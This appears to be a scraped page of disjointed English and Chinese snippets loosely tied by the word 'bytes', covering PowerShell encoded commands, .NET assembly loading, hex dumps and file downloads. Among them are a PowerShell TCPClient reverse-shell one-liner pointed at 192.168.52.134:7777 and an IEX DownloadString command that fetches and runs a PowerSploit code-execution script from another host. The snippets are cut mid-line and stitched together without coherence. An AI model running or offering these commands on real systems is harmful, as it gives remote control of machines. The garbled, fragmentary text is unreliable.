Here’s another use for these numeric constants. Suppose you have a file that uses 137 kilobytes of disk space. How many bytes is that? Well, let’s see. First, let’s run the following command:复制 137KB Then let’s take a peek at what we get back:...
特殊的 void,用于存储通过Assembly.LoadFile(string path)和Assembly.Load(byte[] asmBytes)加载的程序集 有关详细信息,请参阅适用于程序集加载的最佳做法。 .NET Core(和 .NET 5+)已将此复杂内容替换为更简单的模型: 无全局程序集缓存。 应用程序会引入其所有依赖项。 这将删除应用程序中依赖项解析的外部因素...
$command='dir "c:\program files" '$bytes= [System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand= [Convert]::ToBase64String($bytes) pwsh-encodedcommand$encodedCommand -ExecutionPolicy |-ex |-ep 设置当前会话的默认执行策略,并将其保存在$env:PSExecutionPolicyPreference环境变量中。 此参数不...
$localPort)$listener.Start()$tcpClient=$listener.AcceptTcpClient()$networkStream=$tcpClient.GetStream()$bytesReceived=New-Objectbyte[]1024$networkStream.Read($bytesReceived,0,$bytesReceived.Length) |Out-Null$message= [System.Text.Encoding]
[switch]$CopyToClipboard)$path=Split-Path-parent$PSCommandPath|Join-Path-ChildPath"Microsoft.IdentityModel.Clients.ActiveDirectory.dll"$bytes= [System.IO.File]::ReadAllBytes($path) [System.Reflection.Assembly]::Load($bytes) |Out-NullAdd-Type-Path$pathif([String]::IsNullOrEmpty($Upn)) {$user=...
{String filename \= "Waitdbase64Dxor.txt"; //待解密的base64字符串文件fileforDxorFile(filename);}public static void fileforDxorFile(String filepath)throws Exception{Path p \= Paths.get(filepath);byte\[\] filenamebytes \= Files.readAllBytes(p);byte\[\] afterDbase64bytes \= Base64....
参数-readCount指定每一步读取多少个字节。-totalCount指定总共要读取的字节数,一旦给它赋值为-1,它会从头到尾读取所有文件内容。你可以通过将数据输出为十六进制来预览可执行文件。因为纯二进制文本不易阅读。 function Get-HexDump($path, $width = 10, $bytes = -1) { $OFS = "" Get-Content -encoding ...
$bytes= New-Object System.Byte[] $response.ContentLengthfor($read =0; $read -ne $bytes.Length; $read += $reader.Read($bytes,$read,$bytes.Length -$read) ){ } [System.IO.File]::WriteAllBytes("c:tempSilverLight.exe",$bytes);
powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(...
Payload size: 627 bytes Final size of powershell file: 3095 bytes Saved as: /var/www/html/test 在目标机Powershell下输入以下命令下载该脚本 #下载脚本PSC:\Users\baji>IEX(New-ObjectNet.WebClient).DownloadString("http://192.168.160.129/powersploit/CodeExecution/Invo ...